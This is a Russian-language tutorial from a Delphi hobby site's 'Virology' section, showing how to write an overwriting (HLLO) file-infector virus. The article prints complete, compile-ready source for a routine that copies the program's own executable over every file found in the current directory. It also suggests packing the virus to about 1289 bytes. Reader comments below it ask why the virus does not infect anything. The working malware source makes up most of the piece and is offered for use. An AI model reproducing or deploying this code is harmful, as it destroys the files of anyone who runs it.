Пятница, 29.03.2024, 15:27 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Вы доверяете этому сайту?
Всего ответов: 62

Главная » Статьи » Delphi » Вирусология

HLLO вирус на micro-Delphi весом 1289 байт
Согласно этой информации создаём файлы: system.pas и sysinit.pas, далее из них system.dcu и sysinit.dcu. Теперь размещаем все эти 4 файла в папку нашего будущего проекта и создаём в этой папке файл hllo.dpr со строками:
Program VirusHLLO;
begin
end.
Теперь запускаем hllo.dpr в Delphi, компилируем и убеждаемся в том, что размер пустой проги равен – 3,5кб, если это так то можно преступать к создания виря. Если нет, значит надо перечитать урок 4 и получить этот результат, но думаю, что всё у вас получилось, поэтому двигаемся дальше.
Как и в прошлом случае вирус имеет две основные части: 
- процедура заражения
- процедура поиска жертв
Процедура заражения будет в нашем случае иметь приблизительно такие очертания:

const //Необходимы константы, перенесены из модуля Windows

  VirSize = 4096;//Размер вируса
  FILE_ATTRIBUTE_NORMAL = $00000080;
  SHELL32 = 'shell32.dll';
  FILE_SHARE_WRITE = $00000002;//Атрибут записи
  FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
  KERNEL32 = 'kernel32.dll';
  MAX_PATH = 260;//Максимальная длина пути
  CREATE_ALWAYS = 2;//Открыть новый
  GENERIC_READ = $80000000;
  GENERIC_WRITE = $40000000;
  OPEN_EXISTING = 3;
  TRUNCATE_EXISTING = 5;//Открытие с перезаписью

type //Типы необходимые функции CreateFile, перенесены из модуля Windows
  POverlapped = ^TOverlapped;
  TOverlapped = record
  Internal: Cardinal;
  InternalHigh: Cardinal;
  Offset: Cardinal;
  OffsetHigh: Cardinal;
  hEvent: Cardinal;
  end;
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
  nLength: Cardinal;
  lpSecurityDescriptor: Pointer;
  bInheritHandle: Boolean;
  end;
  PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу


function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
//Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
//Чтение из файла (объекта)
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
//Запись из файл (объекта)
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
//Закрытие файла (объекта)
function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля

Procedure Infect(path : PChar);
var
  pch : PathBuf;
  B : INTEGER;
  F : INTEGER;
  Buf : array [1..VirSize] of Char;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Опеделяем путь к себе
  F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя
  ReadFile(F, Buf, VirSize, B, nil);
  //Читаем себя в буфер
  CloseHandle(F);
  //Закрываем себя
  F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву с перезаписью
  WriteFile(F, Buf, VirSize, B, nil);
  //Пишем буфер в жертву
  CloseHandle(F);
  //Закрываем жертву
end;


Как видите, всё весьма банально и если не брать в расчёт то, что приходится переносить из модуля Windows, то использование WinAPI не так уж и сложно реализуется, зато даёт значительно более гибкие возможности реализации, более широко обратиться к файлу получится только на ассемблере. Теперь необходимо разобраться с поиском файлов. Процедуру поиска файлов и скармливания их процедуре Infect привожу ниже, смотрим и удивляемся:

const
  ATTR_DIR = $00000010;//Атрибут директории

type
  TFileTime = record //Запись передачи даты и времени
  dwLowDateTime: INTEGER;
  dwHighDateTime: INTEGER;
  end;

  FindRec = record
  //Запись в которую возврящаются параметры поиска файлов
  dwFileAttributes: INTEGER; //Атрибуты
  ftCreationTime: TFileTime; //Время создания
  ftLastAccessTime: TFileTime;//Время последнего обращения
  ftLastWriteTime: TFileTime; //Время последнего изменения
  nFileSizeHigh: INTEGER; //Размер реальный
  nFileSizeLow: INTEGER; //Размер на диске
  dwReserved0: INTEGER; //Резерв
  dwReserved1: INTEGER; //Резерв
  cFileName: PathBuf; //Полное имя файла
  cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
  end;

function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile

procedure FindFile;
var
  H : integer;
  R : FindRec;
begin
  H:=FindFirstFile(#42#46#42,R);
  //Ищем все файлы в заданном каталоге с заданной маской
  while H<>0 do
  //Ищем пока все не найдём
  begin
  if (R.cFileName[0]<>'.') or (R.cFileName[1]<>'.') then
  infect(R.cFileName);//Заражение
  if not FindNextFile(h,R) then break;//Ищем дальше
  end;
end;


Я думаю, мало у кого возникнет проблема во вставке этих процедур в заготовку и вызова в основной части процедуры FindFile, но что бы вопросов не возникало, привожу весь исходник и с перенесёнными функциями, типами и константами в одно место. 

Program VirusHLLO;//Пример HllO вируса на Delphi (xakep.su)

const //Необходимы константы, перенесены из модуля Windows

  VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1289 байт
  FILE_ATTRIBUTE_NORMAL = $00000080;
  SHELL32 = 'shell32.dll';
  FILE_SHARE_WRITE = $00000002;//Атрибут записи
  FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения
  KERNEL32 = 'kernel32.dll';
  MAX_PATH = 260;//Максимальная длина пути
  CREATE_ALWAYS = 2;//Открыть новый
  GENERIC_READ = $80000000;
  GENERIC_WRITE = $40000000;
  OPEN_EXISTING = 3;
  TRUNCATE_EXISTING = 5;//Открытие с перезаписью
  ATTR_DIR = $00000010;//Атрибут директории

type //Типы необходимые функции CreateFile, перенесены из модуля Windows
  POverlapped = ^TOverlapped;
  TOverlapped = record
  Internal: Cardinal;
  InternalHigh: Cardinal;
  Offset: Cardinal;
  OffsetHigh: Cardinal;
  hEvent: Cardinal;
  end;
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
  nLength: Cardinal;
  lpSecurityDescriptor: Pointer;
  bInheritHandle: Boolean;
  end;
  PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу

  TFileTime = record //Запись передачи даты и времени
  dwLowDateTime: INTEGER;
  dwHighDateTime: INTEGER;
  end;

  FindRec = record
  //Запись в которую возврящаются параметры поиска файлов
  dwFileAttributes: INTEGER; //Атрибуты
  ftCreationTime: TFileTime; //Время создания
  ftLastAccessTime: TFileTime;//Время последнего обращения
  ftLastWriteTime: TFileTime; //Время последнего изменения
  nFileSizeHigh: INTEGER; //Размер реальный
  nFileSizeLow: INTEGER; //Размер на диске
  dwReserved0: INTEGER; //Резерв
  dwReserved1: INTEGER; //Резерв
  cFileName: PathBuf; //Полное имя файла
  cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3
  end;


function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA';
//Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту
function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile';
//Чтение из файла (объекта)
function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile';
//Запись из файл (объекта)
function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle';
//Закрытие файла (объекта)
function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA';
//Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA';
//Поиск первого файла в указанном каталоге по маске
function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA';
//Поиск следующего файла в сессии начатой FindNextFile

Procedure Infect(path : PChar);
var
  pch : PathBuf;
  B : INTEGER;
  F : INTEGER;
  Buf : array [1..VirSize] of Char;
begin
  GetModuleFileName(0, pch, MAX_PATH);//Опеделяем путь к себе
  F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем себя
  ReadFile(F, Buf, VirSize, B, nil);
  //Читаем себя в буфер
  CloseHandle(F);
  //Закрываем себя
  F := CreateFile(path, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  //Открываем жертву с перезаписью
  WriteFile(F, Buf, VirSize, B, nil);
  //Пишем буфер в жертву
  CloseHandle(F);
  //Закрываем жертву
end;

procedure FindFile;
var
  H : integer;
  R : FindRec;
begin
  H:=FindFirstFile(#42#46#42,R);//Поиск по маске *.*
  //Ищем все файлы в заданном каталоге с заданной маской
  while H<>0 do
  //Ищем пока все не найдём
  begin
  if (R.cFileName[0]<>'.') or (R.cFileName[1]<>'.') then//Если не папка то..
  infect(R.cFileName);//Заражение
  if not FindNextFile(h,R) then break;//Ищем дальше
  end;
end;

Begin
FindFile;//Вызов поиска
end.


Этот исходник полностью готов к компиляции и работе, проверять вирус, так же, как и его собратьев, путём размещения его в отдельную папку с жертвами и запуска. Как видите, размер вируса составил, ровно 4кб, но это далеко не предел. В сети вы без особого труда можете скачать упаковщик FSG 2.0 если им сжать этот вирус, то его размер составит 1289 байт.


xakep.su

Категория: Вирусология | Добавил: dolphin (02.08.2008) | Автор: Женёк
Просмотров: 3349 | Комментарии: 4 | Рейтинг: 5.0/1

Всего комментариев: 4
avatar
4
Размер тот. Короче размер тоже безошибочный. Тогда почему файлы незаражаются? Типа файлы которые должны были заразится вирустотал прошли отлично без единого вируса. Может ваш вирус незафиксили? blink
avatar
3
При тесте проги нет никакова результата. не ошибки не заражения файл вируса весит 2,50 что делать?
avatar
2
При поиске находятся не только файлы но и папки, необходимо их отсеить
avatar
1
МЕНЯ ИНТЕРЕСУЕТ ЧТО ЗНАЧИТ ВЫРАЖЕНИЕ "ЕСЛИ НЕ ПАПКА"????
avatar
Профиль


Логин:
Пароль:

Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 455
Форум: 1165/8116
Коментариев: 768
Новостей: 29

Статистика пользователей
Всего: 526
За неделю: 3
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz